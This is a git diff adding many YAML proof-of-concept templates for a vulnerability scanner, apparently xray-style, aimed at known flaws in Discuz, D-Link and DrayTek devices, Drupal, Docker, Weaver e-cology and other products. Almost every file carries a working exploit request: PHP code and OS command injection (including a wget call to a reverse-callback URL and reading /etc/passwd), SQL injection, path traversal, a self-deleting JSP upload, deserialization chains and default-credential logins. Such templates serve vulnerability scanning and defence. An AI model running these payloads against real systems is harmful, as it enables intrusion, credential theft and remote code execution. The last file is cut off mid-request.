https://gitee.com/ComsenzDiscuz/DiscuzX/issues/IPRUI diff --git a/webscan/pocs/discuz-wooyun-2010-080723.yml b/webscan/pocs/discuz-wooyun-2010-080723.yml new file mode 100644 index 0000000..66ccb26 --- /dev/null +++ b/webscan/pocs/discuz-wooyun-2010-080723.yml @@ -0,0 +1,17 @@ +name: poc-yaml-discuz-wooyun-2010-080723 +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: >- + /viewthread.php?tid=10 + headers: + Cookie: GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Bsearcharray%5D=/.*/eui; GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Breplacearray%5D=print_r(md5({{rand}})); + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) +detail: + version: Discuz 7.x/6.x + author: Loneyer + links: + - https://github.com/vulhub/vulhub/tree/master/discuz/wooyun-2010-080723 diff --git a/webscan/pocs/django-CVE-2018-14574.yml b/webscan/pocs/django-CVE-2018-14574.yml new file mode 100644 index 0000000..5811652 --- /dev/null +++ b/webscan/pocs/django-CVE-2018-14574.yml @@ -0,0 +1,12 @@ +name: poc-yaml-django-CVE-2018-14574 + +rules: + - method: GET + path: //www.example.com + follow_redirects: false + expression: response.status == 301 && response.headers['location']=="//www.example.com/" + +detail: + author: ivan + links: + - https://github.com/vulhub/vulhub/tree/master/django/CVE-2018-14574 \ No newline at end of file diff --git a/webscan/pocs/dlink-850l-info-leak.yml b/webscan/pocs/dlink-850l-info-leak.yml new file mode 100644 index 0000000..4795c47 --- /dev/null +++ b/webscan/pocs/dlink-850l-info-leak.yml @@ -0,0 +1,17 @@ +name: poc-yaml-dlink-850l-info-leak +rules: + - method: POST + path: /hedwig.cgi + headers: + Content-Type: text/xml + Cookie: uid=R8tBjwtFc8 + body: |- + ../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml + follow_redirects: false + expression: > + response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"") && response.body.bcontains(b"") && response.body.bcontains(b"OK") +detail: + author: cc_ci(https://github.com/cc8ci) + Affected Version: "Dir-850L" + links: + - https://xz.aliyun.com/t/2941 diff --git a/webscan/pocs/dlink-cve-2019-16920-rce.yml b/webscan/pocs/dlink-cve-2019-16920-rce.yml new file mode 100644 index 0000000..8df53e7 --- /dev/null +++ b/webscan/pocs/dlink-cve-2019-16920-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-dlink-cve-2019-16920-rce +set: + reverse: newReverse() + reverseURL: reverse.url +rules: + - method: POST + path: /apply_sec.cgi + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20{{reverseURL}} + follow_redirects: true + expression: | + response.status == 200 && reverse.wait(5) +detail: + author: JingLing(https://hackfun.org/) + links: + - https://www.anquanke.com/post/id/187923 + - https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3 diff --git a/webscan/pocs/dlink-cve-2019-17506.yml b/webscan/pocs/dlink-cve-2019-17506.yml new file mode 100644 index 0000000..aab4f6b --- /dev/null +++ b/webscan/pocs/dlink-cve-2019-17506.yml @@ -0,0 +1,14 @@ +name: poc-yaml-dlink-cve-2019-17506 +rules: + - method: POST + path: /getcfg.php + headers: + Content-Type: application/x-www-form-urlencoded + body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a + follow_redirects: false + expression: > + response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"") && response.body.bcontains(b"") +detail: + author: l1nk3r,Huasir(https://github.com/dahua966/) + links: + - https://xz.aliyun.com/t/6453 diff --git a/webscan/pocs/dlink-cve-2020-25078-account-disclosure.yml b/webscan/pocs/dlink-cve-2020-25078-account-disclosure.yml new file mode 100644 index 0000000..34a32bc --- /dev/null +++ b/webscan/pocs/dlink-cve-2020-25078-account-disclosure.yml @@ -0,0 +1,13 @@ +name: poc-yaml-dlink-cve-2020-25078-account-disclosure +rules: + - method: GET + path: >- + /config/getuser?index=0 + follow_redirects: false + expression: | + response.status == 200 && response.headers["Content-Type"].contains("text/plain") && response.body.bcontains(b"name=admin") && response.body.bcontains(b"pass=") + +detail: + author: kzaopa(https://github.com/kzaopa) + links: + - https://mp.weixin.qq.com/s/b7jyA5sylkDNauQbwZKvBg diff --git a/webscan/pocs/dlink-cve-2020-9376-dump-credentials.yml b/webscan/pocs/dlink-cve-2020-9376-dump-credentials.yml new file mode 100644 index 0000000..2d56a66 --- /dev/null +++ b/webscan/pocs/dlink-cve-2020-9376-dump-credentials.yml @@ -0,0 +1,15 @@ +name: poc-yaml-dlink-cve-2020-9376-dump-credentials +rules: + - method: POST + path: /getcfg.php + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1 + expression: > + response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"Admin") && response.body.bcontains(b"") && response.body.bcontains(b"") +detail: + author: x1n9Qi8 + Affected Version: "Dlink DIR-610" + links: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376 diff --git a/webscan/pocs/dlink-dsl-2888a-rce.yml b/webscan/pocs/dlink-dsl-2888a-rce.yml new file mode 100644 index 0000000..9119300 --- /dev/null +++ b/webscan/pocs/dlink-dsl-2888a-rce.yml @@ -0,0 +1,25 @@ +name: poc-yaml-dlink-dsl-2888a-rce +rules: + - method: GET + path: /page/login/login.html + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(b"var ModelName=\"DSL-2888A\";") + - method: POST + path: / + body: username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b + headers: + Content-Type: application/x-www-form-urlencoded + follow_redirects: false + expression: | + response.status == 302 && response.headers["location"] == "/page/login/login_fail.html" + - method: GET + path: /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=id + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(b"uid=0(admin) gid=0(admin)") +detail: + author: mvhz81 + info: dlink-dsl-2888a CVE-2020-24579(Insufficient Authentication) + Hidden Functionality (CVE-2020-24581) = RCE + links: + - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/ diff --git a/webscan/pocs/docker-api-unauthorized-rce.yml b/webscan/pocs/docker-api-unauthorized-rce.yml new file mode 100644 index 0000000..44644e5 --- /dev/null +++ b/webscan/pocs/docker-api-unauthorized-rce.yml @@ -0,0 +1,12 @@ +name: poc-yaml-docker-api-unauthorized-rce +rules: + - method: GET + path: /info + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir") + +detail: + author: j4ckzh0u(https://github.com/j4ckzh0u) + links: + - https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce diff --git a/webscan/pocs/docker-registry-api-unauth.yml b/webscan/pocs/docker-registry-api-unauth.yml new file mode 100644 index 0000000..8b7f36d --- /dev/null +++ b/webscan/pocs/docker-registry-api-unauth.yml @@ -0,0 +1,16 @@ +name: poc-yaml-docker-registry-api-unauth +rules: + - method: GET + path: /v2/ + follow_redirects: false + expression: > + response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0") + - method: GET + path: /v2/_catalog + follow_redirects: false + expression: > + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories") +detail: + author: p0wd3r + links: + - http://www.polaris-lab.com/index.php/archives/253/ diff --git a/webscan/pocs/dotnetcms-sqli.yml b/webscan/pocs/dotnetcms-sqli.yml new file mode 100644 index 0000000..4112735 --- /dev/null +++ b/webscan/pocs/dotnetcms-sqli.yml @@ -0,0 +1,21 @@ +name: poc-yaml-dotnetcms-sqli +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(1, 100) +rules: + - method: GET + path: /user/City_ajax.aspx + follow_redirects: false + expression: | + response.status == 200 + - method: GET + path: >- + /user/City_ajax.aspx?CityId={{r2}}'union%20select%20sys.fn_sqlvarbasetostr(HashBytes('MD5','{{r1}}')),2-- + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(r1)))) +detail: + Affected Version: "v1.0~v2.0" + links: + - https://www.cnblogs.com/rebeyond/p/4951418.html + - http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0150742 diff --git a/webscan/pocs/draytek-cve-2020-8515.yml b/webscan/pocs/draytek-cve-2020-8515.yml new file mode 100644 index 0000000..32b8111 --- /dev/null +++ b/webscan/pocs/draytek-cve-2020-8515.yml @@ -0,0 +1,15 @@ +name: poc-yaml-draytek-cve-2020-8515 +rules: + - method: POST + path: /cgi-bin/mainfunction.cgi + headers: + Content-Type: text/plain; charset=UTF-8 + body: >- + action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2f/etc/passwd%26id%26pwd&loginUser=a&loginPwd=a + expression: > + response.status == 200 && response.body.bcontains(b"uid") && response.body.bcontains(b"gid") && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: Soveless(https://github.com/Soveless) + Affected Version: "Vigor2960, Vigor300B, Vigor3900 < v1.5.1, VigorSwitch20P2121, VigorSwitch20G1280, VigorSwitch20P1280, VigorSwitch20G2280, VigorSwitch20P2280 <= v2.3.2" + links: + - https://github.com/imjdl/CVE-2020-8515-PoC diff --git a/webscan/pocs/druid-monitor-unauth.yml b/webscan/pocs/druid-monitor-unauth.yml new file mode 100644 index 0000000..15d2adb --- /dev/null +++ b/webscan/pocs/druid-monitor-unauth.yml @@ -0,0 +1,10 @@ +name: poc-yaml-druid-monitor-unauth +rules: + - method: GET + path: /druid/index.html + expression: | + response.status == 200 && response.body.bcontains(b"Druid Stat Index") && response.body.bcontains(b"DruidVersion") && response.body.bcontains(b"DruidDrivers") +detail: + author: met7or + links: + - https://github.com/alibaba/druid diff --git a/webscan/pocs/drupal-cve-2014-3704-sqli.yml b/webscan/pocs/drupal-cve-2014-3704-sqli.yml new file mode 100644 index 0000000..87d6939 --- /dev/null +++ b/webscan/pocs/drupal-cve-2014-3704-sqli.yml @@ -0,0 +1,14 @@ +name: poc-yaml-drupal-cve-2014-3704-sqli +rules: + - method: POST + path: /?q=node&destination=node + body: >- + pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or + updatexml(0x23,concat(1,md5(666)),1)%23]=bob&name[0]=a + follow_redirects: false + expression: | + response.status == 500 && response.body.bcontains(b"PDOException") && response.body.bcontains(b"fae0b27c451c728867a567e8c1bb4e53") +detail: + Affected Version: "Drupal < 7.32" + links: + - https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704 \ No newline at end of file diff --git a/webscan/pocs/drupal-cve-2018-7600-rce.yml b/webscan/pocs/drupal-cve-2018-7600-rce.yml new file mode 100644 index 0000000..5697049 --- /dev/null +++ b/webscan/pocs/drupal-cve-2018-7600-rce.yml @@ -0,0 +1,39 @@ +name: poc-yaml-drupal-cve-2018-7600-rce +set: + r1: randomLowercase(4) + r2: randomLowercase(4) +groups: + drupal8: + - method: POST + path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}} + expression: | + response.body.bcontains(bytes(r1 + "%" + r2)) + drupal7: + - method: POST + path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password + search: | + name="form_build_id"\s+value="(?P.+?)" + expression: | + response.status == 200 + - method: POST + path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + form_build_id={{build_id}} + expression: | + response.body.bcontains(bytes(r1 + "%" + r2)) +detail: + links: + - https://github.com/dreadlocked/Drupalgeddon2 + - https://paper.seebug.org/567/ +test: + target: http://cve-2018-7600-8-x.vulnet:8080/ diff --git a/webscan/pocs/drupal-cve-2019-6340.yml b/webscan/pocs/drupal-cve-2019-6340.yml new file mode 100644 index 0000000..9e08948 --- /dev/null +++ b/webscan/pocs/drupal-cve-2019-6340.yml @@ -0,0 +1,33 @@ +name: poc-yaml-drupal-cve-2019-6340 +set: + host: request.url.host + r1: randomLowercase(4) + r2: randomLowercase(4) +rules: + - method: POST + path: /node/?_format=hal_json + headers: + Content-Type: application/hal+json + Accept: '*/*' + body: | + { + "link": [ + { + "value": "link", + "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:10:\"{{r1}}%%{{r2}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"printf\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" + } + ], + "_links": { + "type": { + "href": "http://{{host}}/rest/type/shortcut/default" + } + } + } + follow_redirects: true + expression: | + response.status == 403 && response.content_type.contains("hal+json") && response.body.bcontains(bytes(r1 + "%" + r2)) +detail: + author: thatqier + links: + - https://github.com/jas502n/CVE-2019-6340 + - https://github.com/knqyf263/CVE-2019-6340 diff --git a/webscan/pocs/dubbo-admin-default-password.yml b/webscan/pocs/dubbo-admin-default-password.yml new file mode 100644 index 0000000..9c8cb6d --- /dev/null +++ b/webscan/pocs/dubbo-admin-default-password.yml @@ -0,0 +1,20 @@ +name: poc-yaml-dubbo-admin-default-password +groups: + root: + - method: GET + path: / + headers: + Authorization: Basic cm9vdDpyb290 + expression: | + response.status == 200 && response.body.bcontains(b"Dubbo Admin") && response.body.bcontains(b": root', '/logout'") && response.body.bcontains(b"/sysinfo/versions") + guest: + - method: GET + path: / + headers: + Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= + expression: | + response.status == 200 && response.body.bcontains(b"Dubbo Admin") && response.body.bcontains(b": guest', '/logout'") && response.body.bcontains(b"/sysinfo/versions") +detail: + author: mumu0215(https://github.com/mumu0215) + links: + - https://www.cnblogs.com/wishwzp/p/9438658.html diff --git a/webscan/pocs/duomicms-sqli.yml b/webscan/pocs/duomicms-sqli.yml new file mode 100644 index 0000000..08d901e --- /dev/null +++ b/webscan/pocs/duomicms-sqli.yml @@ -0,0 +1,13 @@ +name: poc-yaml-duomicms-sqli +rules: + - method: GET + path: >- + /duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5(2000000005))) + follow_redirects: false + expression: | + response.body.bcontains(b"fc9bdfb86bae5c322bae5acd78760935") +detail: + author: hanxiansheng26(https://github.com/hanxiansheng26) + Affected Version: "duomicms<3.0" + links: + - https://xz.aliyun.com/t/2828 \ No newline at end of file diff --git a/webscan/pocs/dvr-cve-2018-9995.yml b/webscan/pocs/dvr-cve-2018-9995.yml new file mode 100644 index 0000000..f05e8e1 --- /dev/null +++ b/webscan/pocs/dvr-cve-2018-9995.yml @@ -0,0 +1,15 @@ +name: poc-yaml-dvr-cve-2018-9995 +rules: + - method: GET + path: >- + /device.rsp?opt=user&cmd=list + headers: + Cookie: uid=admin + follow_redirects: true + expression: > + response.status == 200 && response.body.bcontains(bytes("\"uid\":")) && response.body.bcontains(b"playback") +detail: + author: cc_ci(https://github.com/cc8ci) + Affected Version: "DVR" + links: + - https://s.tencent.com/research/bsafe/474.html \ No newline at end of file diff --git a/webscan/pocs/e-office-v10-sql-inject.yml b/webscan/pocs/e-office-v10-sql-inject.yml new file mode 100644 index 0000000..8650a38 --- /dev/null +++ b/webscan/pocs/e-office-v10-sql-inject.yml @@ -0,0 +1,14 @@ +name: e-office-v10-sql-inject +rules: + - method: GET + path: /eoffice10/server/ext/system_support/leave_record.php?flow_id=1&run_id=1&table_field=1&table_field_name=user()&max_rows=10 + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b'

未找到相关数据

') +detail: + author: Print1n(https://github.com/Print1n) + description: | + 泛微 eoffice v10 前台 SQL 注入 + FOFA:fid="2csJpuWtfTdSAavIfJTuBw==" + links: + - https://www.hedysx.com/2777.html diff --git a/webscan/pocs/e-office-v9-upload-cnvd-2021-49104.yml b/webscan/pocs/e-office-v9-upload-cnvd-2021-49104.yml new file mode 100644 index 0000000..9dc9d0e --- /dev/null +++ b/webscan/pocs/e-office-v9-upload-cnvd-2021-49104.yml @@ -0,0 +1,22 @@ +name: e-office-v9-upload-cnvd-2021-49104 +set: + r1: randomLowercase(8) +rules: + - method: POST + path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= + headers: + Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 + body: |- + --e64bdf16c554bbc109cecef6451c26a4 + Content-Disposition: form-data; name="Filedata"; filename="test.txt" + Content-Type: image/jpeg + {{r1}} + --e64bdf16c554bbc109cecef6451c26a4-- + expression: response.status == 200 && response.body.bcontains(b"logo-eoffice") + - method: GET + path: /images/logo/logo-eoffice.txt + expression: response.status == 200 && response.body.bcontains(bytes(r1)) +detail: + author: szd790056181 + links: + - http://www.ctfiot.com/13682.html diff --git a/webscan/pocs/e-zkeco-cnvd-2020-57264-read-file.yml b/webscan/pocs/e-zkeco-cnvd-2020-57264-read-file.yml new file mode 100644 index 0000000..a7578cc --- /dev/null +++ b/webscan/pocs/e-zkeco-cnvd-2020-57264-read-file.yml @@ -0,0 +1,10 @@ +name: poc-yaml-e-zkeco-cnvd-2020-57264-read-file +rules: + - method: GET + path: /iclock/ccccc/windows/win.ini + expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") +detail: + author: ThestaRY (https://github.com/ThestaRY7/) + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2020-57264 + info: E-ZKEco readfileCNVD-2020-57264 diff --git a/webscan/pocs/ecology-arbitrary-file-upload.yml b/webscan/pocs/ecology-arbitrary-file-upload.yml new file mode 100644 index 0000000..789d9b2 --- /dev/null +++ b/webscan/pocs/ecology-arbitrary-file-upload.yml @@ -0,0 +1,24 @@ +name: poc-yaml-weaver-oa-arbitrary-file-upload +set: + r1: randomLowercase(4) + r2: randomInt(40000, 44800) + r3: randomInt(40000, 44800) +rules: + - method: POST + path: /page/exportImport/uploadOperation.jsp + headers: + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo + body: |- + ------WebKitFormBoundaryFy3iNVBftjP6IOwo + Content-Disposition: form-data; name="file"; filename="{{r1}}.jsp" + Content-Type: application/octet-stream + <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%> + ------WebKitFormBoundaryFy3iNVBftjP6IOwo-- + expression: response.status == 200 + - method: GET + path: '/page/exportImport/fileTransfer/{{r1}}.jsp' + expression: response.status == 200 && response.body.bcontains(bytes(string(r2 * r3))) +detail: + author: jingling(https://github.com/shmilylty) + links: + - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g \ No newline at end of file diff --git a/webscan/pocs/ecology-filedownload-directory-traversal.yml b/webscan/pocs/ecology-filedownload-directory-traversal.yml new file mode 100644 index 0000000..d34c14b --- /dev/null +++ b/webscan/pocs/ecology-filedownload-directory-traversal.yml @@ -0,0 +1,11 @@ +name: poc-yaml-ecology-filedownload-directory-traversal +rules: + - method: GET + path: /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"/weaver/") +detail: + author: l1nk3r + links: + - https://www.weaver.com.cn/cs/securityDownload.asp diff --git a/webscan/pocs/ecology-javabeanshell-rce.yml b/webscan/pocs/ecology-javabeanshell-rce.yml new file mode 100644 index 0000000..195296f --- /dev/null +++ b/webscan/pocs/ecology-javabeanshell-rce.yml @@ -0,0 +1,16 @@ +name: poc-yaml-ecology-javabeanshell-rce +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: POST + path: /weaver/bsh.servlet.BshServlet + body: >- + bsh.script=print%28{{r1}}*{{r2}}%29&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: l1nk3r + links: + - https://www.weaver.com.cn/cs/securityDownload.asp \ No newline at end of file diff --git a/webscan/pocs/ecology-springframework-directory-traversal.yml b/webscan/pocs/ecology-springframework-directory-traversal.yml new file mode 100644 index 0000000..240ac4c --- /dev/null +++ b/webscan/pocs/ecology-springframework-directory-traversal.yml @@ -0,0 +1,11 @@ +name: poc-yaml-ecology-springframework-directory-traversal +rules: + - method: GET + path: /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"/weaver/") +detail: + author: l1nk3r + links: + - https://www.weaver.com.cn/cs/securityDownload.asp diff --git a/webscan/pocs/ecology-syncuserinfo-sqli.yml b/webscan/pocs/ecology-syncuserinfo-sqli.yml new file mode 100644 index 0000000..fee157a --- /dev/null +++ b/webscan/pocs/ecology-syncuserinfo-sqli.yml @@ -0,0 +1,15 @@ +name: poc-yaml-ecology-syncuserinfo-sqli +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: GET + path: >- + /mobile/plugin/SyncUserInfo.jsp?userIdentifiers=-1)union(select(3),null,null,null,null,null,str({{r1}}*{{r2}}),null + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://www.weaver.com.cn/ diff --git a/webscan/pocs/ecology-v8-sqli.yml b/webscan/pocs/ecology-v8-sqli.yml new file mode 100644 index 0000000..81c3ebb --- /dev/null +++ b/webscan/pocs/ecology-v8-sqli.yml @@ -0,0 +1,15 @@ +name: poc-yaml-ecology-v8-sqli +set: + r1: randomInt(1000, 9999) + r2: randomInt(1000, 9999) +rules: + - method: GET + path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+{{r1}}*{{r2}}+as+id + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) + +detail: + author: Print1n(http://print1n.top) + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20V8%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html diff --git a/webscan/pocs/ecology-validate-sqli.yml b/webscan/pocs/ecology-validate-sqli.yml new file mode 100644 index 0000000..ebeb80a --- /dev/null +++ b/webscan/pocs/ecology-validate-sqli.yml @@ -0,0 +1,17 @@ +name: poc-yaml-ecology-validate-sqli +set: + r1: randomInt(8000, 9999) + r2: randomInt(800, 1000) +rules: + - method: POST + path: /cpt/manage/validate.jsp?sourcestring=validateNum + body: >- + sourcestring=validateNum&capitalid=11%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion+select+str({{r1}}*{{r2}})&capitalnum=-10 + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: fuping + links: + - https://news.ssssafe.com/archives/3325 + - https://www.weaver.com.cn/cs/securityDownload.asp diff --git a/webscan/pocs/ecology-workflowcentertreedata-sqli.yml b/webscan/pocs/ecology-workflowcentertreedata-sqli.yml new file mode 100644 index 0000000..f27ae27 --- /dev/null +++ b/webscan/pocs/ecology-workflowcentertreedata-sqli.yml @@ -0,0 +1,19 @@ +name: poc-yaml-ecology-workflowcentertreedata-sqli +set: + r1: randomInt(4000, 9999) + r2: randomInt(800, 1000) +rules: + - method: POST + path: /mobile/browser/WorkflowCenterTreeData.jsp + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + 